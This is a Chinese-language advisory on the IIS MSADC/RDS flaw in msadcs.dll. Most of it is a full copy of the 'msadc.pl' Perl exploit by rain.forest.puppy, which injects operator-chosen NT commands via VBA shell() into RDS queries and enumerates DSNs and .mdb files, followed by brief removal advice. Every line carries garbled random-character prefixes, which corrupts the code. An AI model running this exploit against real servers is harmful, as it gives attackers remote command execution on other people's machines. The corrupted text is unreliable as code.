IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
36ygI0V_ V}c3}'_U] 涉及程序：
t2V|moG
Microsoft NT server
w Q!C9Gp3e 9p| ;Hh: 描述：
Z{<& 2* 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
}.bhsy y>4r<Y ZQ 详细：
1?k{jt~ 如果你没有时间读详细内容的话，就删除:
PL*Mz(&bf c:\Program Files\Common Files\System\Msadc\msadcs.dll
tCZ3n 有关的安全问题就没有了。
c;X8: Z=ja tkQ#mipAj 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
SvE3E$ * !$}:4}5 6F 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
&d1|B`gL| 关于利用ODBC远程漏洞的描述，请参看:
gl k-: # ]Dj,8tf`H http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Aun X[X9 #m
%ZW3 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
of? hP1kl[ http://www.microsoft.com/security/bulletins/MS99-025faq.asp K9\p=H^T7 }.+{M.[} 这里不再论述。
$Sz@u"ig% fjD/<` }v 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
YVSAYv_ZG} ~<
~PaP$=\ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
njhDrwN 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
O}$@|w(8; V 5ve 6} b1*xQ #将下面这段保存为txt文件，然后: "perl -x 文件名"
b@6hGiqx T'W)RYnwl #!perl
,0j7qn@tm #
j6Msbq[ # MSADC/RDS 'usage' (aka exploit) script
#kho[`9 #
o|r8x_!+ # by rain.forest.puppy
gzV&S5A{_ #
xLZJ[:gr # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:
T` Ni # beta test and find errors!
+OEheG8 'MF|(` use Socket; use Getopt::Std;
^t p6G getopts("e:vd:h:XR", \%args);
V]4g-
CS[ yiourR)H< print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
uP;qs8 R ;XG2 if (!defined $args{h} && !defined $args{R}) {
by*?PhfF print qq~
V?_:-!NJ( Usage: msadc.pl -h <host> { -d <delay> -X -v }
3
VNPdXsh -h <host> = host you want to scan (ip or domain)
]'
ck!eG -d <seconds> = delay between calls, default 1 second
i -k j6N5 -X = dump Index Server path table, if available
^a ,Oi% -v = verbose
3mmp5 d -e = external dictionary file for step 5
ZeB"k)FI> WD`z\{hcom Or a -R will resume a command session
pv
LA:L W2 ^v5v7\! ~; exit;}
P |0dZHpT WR5@ S&fU` $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
fv;3cxQp if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
|<:Owd= if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
S5%I+G3 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3vcKK;qCB $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
1u9 *)w if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
gfr
y5e gAFu if (!defined $args{R}){ $ret = &has_msadc;
A(j9T, ! die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
oR``Jiob| -}_X'h&" print "Please type the NT commandline you want to run (cmd /c assumed):\n"
,RA;X . "cmd /c ";
Y! 8 I $in=<STDIN>; chomp $in;
3izGMH_` $command="cmd /c " . $in ;
utH/E7^8 F=T} ;b if (defined $args{R}) {&load; exit;}
( vO \h8 @^O+ulLJ,] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
}KEL{VUX &try_btcustmr;
j@ehcK9| `<cn b!] print "\nStep 2: Trying to make our own DSN...";
h vC gd^M &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
KR49Y>s< V?yTJJ21X print "\nStep 3: Trying known DSNs...";
cPx] :sC &known_dsn;
?.*^#>- 8 4X/=l-c= print "\nStep 4: Trying known .mdbs...";
T(@J]Y- &known_mdb;
w# iezo. 0 Xc>M_%+ R
if (defined $args{e}){
VuU{7: print "\nStep 5: Trying dictionary of DSN names...";
u lA|| &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
3?n2/p
7= b$*1!a print "Sorry Charley...maybe next time?\n";
G C#s;X exit;
X npn{ OrG1Mfx&2% ##############################################################################
K[j~htC{I" ktEdbALK sub sendraw { # ripped and modded from whisker
vq? aFX9F sleep($delay); # it's a DoS on the server! At least on mine...
P5$L(x%~ my ($pstr)=@_;
(4GDh% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6g6BE^o\ die("Socket problems\n");
PfrzrRahb if(connect(S,pack "SnA4x8",2,80,$target)){
T09 'qB select(S); $|=1;
QDHTP|2e print $pstr; my @in=<S>;
{ S$]I)tV select(STDOUT); close(S);
$ \9M6k' return @in;
CogN1,GJ } else { die("Can't connect...\n"); }}
$'I-z.G V Dr _ (u<[ ##############################################################################
zJMm=Mw^ <3SO1@? sub make_header { # make the HTTP request
=sIkA)"!= my $msadc=<<EOT
A.8[FkiNmD POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
8AGP*"gI User-Agent: ACTIVEDATA
4?u<i=i Host: $ip
w4<n =k Content-Length: $clen
w>TlM*3D/ Connection: Keep-Alive
]b+Nsr~ 3$~oQC ADCClientVersion:01.06
o`{@':%D` Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
?as1^ ~ o<\u Hr3 --!ADM!ROX!YOUR!WORLD!
ua8Burl7 Content-Type: application/x-varg
)%(V.?eW Content-Length: $reqlen
t
;-U
X< 8 EOT
';vL j1v ; $msadc=~s/\n/\r\n/g;
_U<r @ return $msadc;}
9&O7 F}VP2 ?D,8lABkT ##############################################################################
>[qoNy; qhQeQ sub make_req { # make the RDS request
%b1NlzB+ my ($switch, $p1, $p2)=@_;
zm{U.Q my $req=""; my $t1, $t2, $query, $dsn;
.@k jC4m \'>ZU-V if ($switch==1){ # this is the btcustmr.mdb query
@ 5,Xr`] $query="Select * from Customers where City=" . make_shell();
YqEB%Y~N+ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
R2Y.s^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
C25EIIdRb vMHJgp d&j elsif ($switch==2){ # this is general make table query
LJ{P93aq`^ $query="create table AZZ (B int, C varchar(10))";
7`pK=E}+ $dsn="$p1";}
=[D
'3JB QI WfGVc- elsif ($switch==3){ # this is general exploit table query
EyK
F5TP0 $query="select * from AZZ where C=" . make_shell();
U=vh_NHj $dsn="$p1";}
G@=H='
:~ NGs@z^&V elsif ($switch==4){ # attempt to hork file info from index server
OH_ m ZA $query="select path from scope()";
Qw@_. I $dsn="Provider=MSIDXS;";}
u|Tg*B IwZe2$f
elsif ($switch==5){ # bad query
I%b}qC"5M $query="select";
~2L]K4Z^ $dsn="$p1";}
C?h}n4\B^? aBblP8)8;K $t1= make_unicode($query);
7O]$2 $t2= make_unicode($dsn);
\pwg8p[4Q $req = "\x02\x00\x03\x00";
IPDQ $req.= "\x08\x00" . pack ("S1", length($t1));
qi]"`\ $req.= "\x00\x00" . $t1 ;
;X }!;S%K $req.= "\x08\x00" . pack ("S1", length($t2));
?}Y;/Lwx $req.= "\x00\x00" . $t2 ;
6%\&m|S $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
C8bB OC( return $req;}
l WRRB&8 F4|U \,g ##############################################################################
C4.g}q sqE? U*8.- sub make_shell { # this makes the shell() statement
0<$t9:dq return "'|shell(\"$command\")|'";}
nf,u'}psdJ ~}@cSv'(1 ##############################################################################
[:" 7B&&A S uo sub make_unicode { # quick little function to convert to unicode
7@u:F?c my ($in)=@_; my $out;
Wu|ANc for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
d>-k-X-[ return $out;}
KwxO%/-}S d#Xt2 ##############################################################################
(d ?sFwOt\ +hL%8CVU M sub rdo_success { # checks for RDO return success (this is kludge)
=*'K'e>P3 my (@in) = @_; my $base=content_start(@in);
#
M18&ld,r if($in[$base]=~/multipart\/mixed/){
;+NU;f/WM return 1 if( $in[$base+10]=~/^\x09\x00/ );}
fZNWJo# `. return 0;}
%VsIg VPI;{0kh ##############################################################################
^E}};CsT Sft+G b6 sub make_dsn { # this makes a DSN for us
G5hh$Nmpi my @drives=("c","d","e","f");
eW /sP Q- print "\nMaking DSN: ";
n/vKxtW foreach $drive (@drives) {
FJH'!P\ print "$drive: ";
!W48sZr1& my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
_gn`Y(c$% "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
p`mNy
o' . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
TChKm- x $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
V^D!\)# return 0 if $2 eq "404"; # not found/doesn't exist
/5&' U!:+ if($2 eq "200") {
SMIr@*R foreach $line (@results) {
*)82iD return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
1 2 y+g5b } return 0;}
:J~sz)n4 D)){"Q!b ##############################################################################
D\9-MXc1 E5`KUMZkq sub verify_exists {
pe@j`Sm:Ej my ($page)=@_;
9LK<u $C my @results=sendraw("GET $page HTTP/1.0\n\n");
[" } Yp return $results[0];}
k]] e8> j" ~gEGfK ##############################################################################
"+k^8ki wzNGL{3 sub try_btcustmr {
aPH6R<G my @drives=("c","d","e","f");
o3kVcX^ my @dirs=("winnt","winnt35","winnt351","win","windows");
e>~7 RN P uodsd foreach $dir (@dirs) {
xp; CYr"1} print "$dir -> "; # fun status so you can see progress
/j(3 ~%]o4 foreach $drive (@drives) {
k*"FMJG_ print "$drive: "; # ditto
#z&@f $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ZMn~QU_5 $reqlenlen=length( "$reqlen" );
( sN;B) $clen= 206 + $reqlenlen + $reqlen;
rc ()Eo50 IuN:*P my @results=sendraw(make_header() . make_req(1,$drive,$dir));
"4[8pZO/ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
i-E/#zni else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
hY[Vs5v :W*']8 M- ##############################################################################
R0DWjN$j _=ziw|zI sub odbc_error {
w\(; >e@ my (@in)=@_; my $base;
$CP_oEb my $base = content_start(@in);
, HHCgN
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
A2{s ?L, $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[ )KLmL% $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u~\I $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
o@ j)clf return $in[$base+4].$in[$base+5].$in[$base+6];}
+L>?kr[i[ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
% >}{SS print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
S3F8Chk5 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
w$j!89@) TL *8h7.( ##############################################################################
oJ`cefcWo 7%F8 sub verbose {
hsE Q6 my ($in)=@_;
R\^XF8n6/ return if !$verbose;
m l\2%07 print STDOUT "\n$in\n";}
H% ^j yGS c$AwJhl^] ##############################################################################
Jh!'" 7 aZBb@~Y sub save {
4b<>gpQ my ($p1, $p2, $p3, $p4)=@_;
o|O|e9m( open(OUT, ">rds.save") || print "Problem saving parameters...\n";
f zsD print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
'BmLR{[2L close OUT;}
[r f.& .^aqzA=] ##############################################################################
u{d\3-]/ N "Mw1R4 sub load {
T]0H&Oov my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
A$;"9F@ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
F!pgec%]' @p=<IN>; close(IN);
v>oWk:iJP $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
6
~LCj" $target= inet_aton($ip) || die("inet_aton problems");
KE*8Y4#9 print "Resuming to $ip ...";
7,:$, bL $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
9Atnnx]n if($p[1]==1) {
NR|t ~C+ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
O=2SDuBZ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
sBV})8]K M my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
J rgpDZ
if (rdo_success(@results)){print "Success!\n";}
B>Xfs ZS else { print "failed\n"; verbose(odbc_error(@results));}}
Ir\f _>7 elsif ($p[1]==3){
RhQ[hI if(run_query("$p[3]")){
P{ HYZg print "Success!\n";} else { print "failed\n"; }}
[zMnlO elsif ($p[1]==4){
+q-/~G' if(run_query($drvst . "$p[3]")){
K]s*rPT/, print "Success!\n"; } else { print "failed\n"; }}
qrxn%#\XP exit;}
oasEG6OI8 Eu)(@,]w e ##############################################################################
?X5Y8n]y\h }=T=Z#OgH sub create_table {
b< 1+q{0r my ($in)=@_;
Iy JHKDFk $reqlen=length( make_req(2,$in,"") ) - 28;
%UnL,V9) $reqlenlen=length( "$reqlen" );
)Z qY` by! $clen= 206 + $reqlenlen + $reqlen;
n)xLEx, my @results=sendraw(make_header() . make_req(2,$in,""));
p81Vt return 1 if rdo_success(@results);
eGr;P aG my $temp= odbc_error(@results); verbose($temp);
x-%4-) return 1 if $temp=~/Table 'AZZ' already exists/;
TOC2[m c' return 0;}
f&ri=VJY\T U2TR>0l ##############################################################################
VsR8|Hn$ i?0+f }5<p sub known_dsn {
k/]4L!/ T # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
m&!4*D my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
h
qT6]* "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
|jT^[q(z "banner", "banners", "ads", "ADCDemo", "ADCTest");
9f U,_`r ZA {T0: foreach $dSn (@dsns) {
h =E)5&Z print ".";
B;=-h(E}vJ next if (!is_access("DSN=$dSn"));
zC< k4[ . if(create_table("DSN=$dSn")){
Lw_s'QNWR print "$dSn successful\n";
wu53e= / if(run_query("DSN=$dSn")){
YOE!+MiO print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
4_&+]S print "Something's borked. Use verbose next time\n";}}} print "\n";}
k?7V#QW( o{r<=X ysM ##############################################################################
<A+n[h W3aFao>!OZ sub is_access {
*47',Qy my ($in)=@_;
W _JGJV.^f $reqlen=length( make_req(5,$in,"") ) - 28;
_ 0g\g~[ $reqlenlen=length( "$reqlen" );
yuA+YZ $clen= 206 + $reqlenlen + $reqlen;
TcEvUZJ" my @results=sendraw(make_header() . make_req(5,$in,""));
x_VD9 my $temp= odbc_error(@results);
y Nc "E verbose($temp); return 1 if ($temp=~/Microsoft Access/);
{$H-7-O$ return 0;}
mA2L~=v# yDe6f(D ##############################################################################
r)xkpa5 O~~W P*N sub run_query {
kACgP!~/1 my ($in)=@_;
sjIUW$ $reqlen=length( make_req(3,$in,"") ) - 28;
YggeKN $reqlenlen=length( "$reqlen" );
mJN*D P{ $clen= 206 + $reqlenlen + $reqlen;
(u :^4,Z my @results=sendraw(make_header() . make_req(3,$in,""));
g*]/HS>e<G return 1 if rdo_success(@results);
6)j4- my $temp= odbc_error(@results); verbose($temp);
QMAineO return 0;}
) oAx t70 lNRGlTD% ##############################################################################
SR8)4:aKW l\t\DX"s_ sub known_mdb {
-'%>Fon my @drives=("c","d","e","f","g");
F)n^pT my @dirs=("winnt","winnt35","winnt351","win","windows");
1r?hRJ:' my $dir, $drive, $mdb;
0+dc my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
u(W+hdTap= wY'w'%A ? # this is sparse, because I don't know of many
2>+(OL4l my @sysmdbs=( "\\catroot\\icatalog.mdb",
`G0GWh)`x "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
oo4aw1d "\\system32\\certmdb.mdb",
:/<SJ({q "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
3[F9qDAy [ @;q#.}Z my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
M%(^GdI#Vf "\\cfusion\\cfapps\\forums\\forums_.mdb",
#Ex NiFZ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
ms%RNxU4: "\\cfusion\\cfapps\\security\\realm_.mdb",
hteAuz4H "\\cfusion\\cfapps\\security\\data\\realm.mdb",
UYw=i4J' "\\cfusion\\database\\cfexamples.mdb",
<reAL C "\\cfusion\\database\\cfsnippets.mdb",
0Fc^c[ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
3LW_qX "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
0aM&+j\q } "\\cfusion\\brighttiger\\database\\cleam.mdb",
pB5#Ho>S "\\cfusion\\database\\smpolicy.mdb",
ATzFs]~K; "\\cfusion\\database\cypress.mdb",
)sZJH9[K "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
! %X#;{ "\\website\\cgi-win\\dbsample.mdb",
:tf'Gw6v "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
\@!"7._= "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
MP_LdJM1E ); #these are just
U]A JWC6 foreach $drive (@drives) {
.$" 13" foreach $dir (@dirs){
q"9 2][} foreach $mdb (@sysmdbs) {
&,8F!)[9 print ".";
J5Ovj,[EZ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Y!qn[,q8 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
m- u0U if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
H5!e/4iz print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
q/#p ol } else { print "Something's borked. Use verbose next time\n"; }}}}}
J:Id t}@z N}gP f
i foreach $drive (@drives) {
Q&]f9j_ foreach $mdb (@mdbs) {
fvBL? x print ".";
f"R S,] if(create_table($drv . $drive . $dir . $mdb)){
4..M *U print "\n" . $drive . $dir . $mdb . " successful\n";
N3(.7mxo if(run_query($drv . $drive . $dir . $mdb)){
ORx6r=zg print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
qd<-{ } else { print "Something's borked. Use verbose next time\n"; }}}}
Lvd es.0| }
v2l*n cw3j&k ##############################################################################
W 7#dc89} 8vqx}2 sub hork_idx {
4&kC8
[ r print "\nAttempting to dump Index Server tables...\n";
Bw /8-:eb print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
%urd;h D $reqlen=length( make_req(4,"","") ) - 28;
x:$ xtu $reqlenlen=length( "$reqlen" );
|R&cQKaQ` $clen= 206 + $reqlenlen + $reqlen;
MSaOFv_Q my @results=sendraw2(make_header() . make_req(4,"",""));
pv]2"|]V) if (rdo_success(@results)){
'W*:9wah my $max=@results; my $c; my %d;
l0 w<NZ F for($c=19; $c<$max; $c++){
^_gH}~l+U $results[$c]=~s/\x00//g;
pf$ gvL $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
4G 2iT+X - $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"IN[( $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
.+(R,SvN%< $d{"$1$2"}="";}
%k'>bmJ foreach $c (keys %d){ print "$c\n"; }
<&RpGAk%I } else {print "Index server doesn't seem to be installed.\n"; }}
\2))c@@% \,S4-~(:! ##############################################################################
/b7]NC% Dbu>rESz sub dsn_dict {
]?%S0DO* open(IN, "<$args{e}") || die("Can't open external dictionary\n");
,GF]+nI89 while(<IN>){
b4&l=^:e= $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
?DGg.2f next if (!is_access("DSN=$dSn"));
QpD- %gN if(create_table("DSN=$dSn")){
jS ?#c+9 print "$dSn successful\n";
ShesJj if(run_query("DSN=$dSn")){
4<V}A j8l print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
|*$0~ mA print "Something's borked. Use verbose next time\n";}}}
bH.SUd) print "\n"; close(IN);}
UZpQ%~/ 3 <) +)n ##############################################################################
Z 4QL&?U
R-YNg sub sendraw2 { # ripped and modded from whisker
'*B%&QC - sleep($delay); # it's a DoS on the server! At least on mine...
o~7D=d?R my ($pstr)=@_;
Tq?7-_MLC$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5=#2@qp die("Socket problems\n");
$5:I~ -mx if(connect(S,pack "SnA4x8",2,80,$target)){
4sq](! A print "Connected. Getting data";
Ihp
Ea,v) open(OUT,">raw.out"); my @in;
#&X5Di[A select(S); $|=1; print $pstr;
U"RA*| while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
-AN5LE9- close(OUT); select(STDOUT); close(S); return @in;
A0,h 7<i } else { die("Can't connect...\n"); }}
-tIy e{ iPdS>e e ##############################################################################
lAR1gHhJ Kr?<7vMT5 sub content_start { # this will take in the server headers
I? RUVs my (@in)=@_; my $c;
I?
="Er[g} for ($c=1;$c<500;$c++) {
iG#9 2e4 if($in[$c] =~/^\x0d\x0a/){
,FwpHs $A if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
fV2w &:^3 else { return $c+1; }}}
Eh^gR`I return -1;} # it should never get here actually
Rl&nR$# tOX -vQ ##############################################################################
,xg-H6Xfa{ T|,/C|L sub funky {
%l?*w~x my (@in)=@_; my $error=odbc_error(@in);
PeIKx$$Kl{ if($error=~/ADO could not find the specified provider/){
IrUoAQ2xpG print "\nServer returned an ADO miscofiguration message\nAborting.\n";
V?)YQ B exit;}
eX1_=?$1P if($error=~/A Handler is required/){
fr'DV/T print "\nServer has custom handler filters (they most likely are patched)\n";
$x CJ5M4 exit;}
%(|-+cLW+ if($error=~/specified Handler has denied Access/){
8DX5bB print "\nServer has custom handler filters (they most likely are patched)\n";
7 0PGbAD exit;}}
m>|7&l_ k[)/, 1 ##############################################################################
d3\KUR^ BiDyr sub has_msadc {
|ZC' a! my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
T% GR{mp my $base=content_start(@results);
<Sr:pm return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
B}nT>Ub return 0;}
KrR`A(=WL LP !d |X ########################
- (7oFOtg m%'T90mi F"cZ$TL] 解决方案：
3xN_z?Rg 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
!1%Sf.`!_ 2、移除web 目录: /msadc
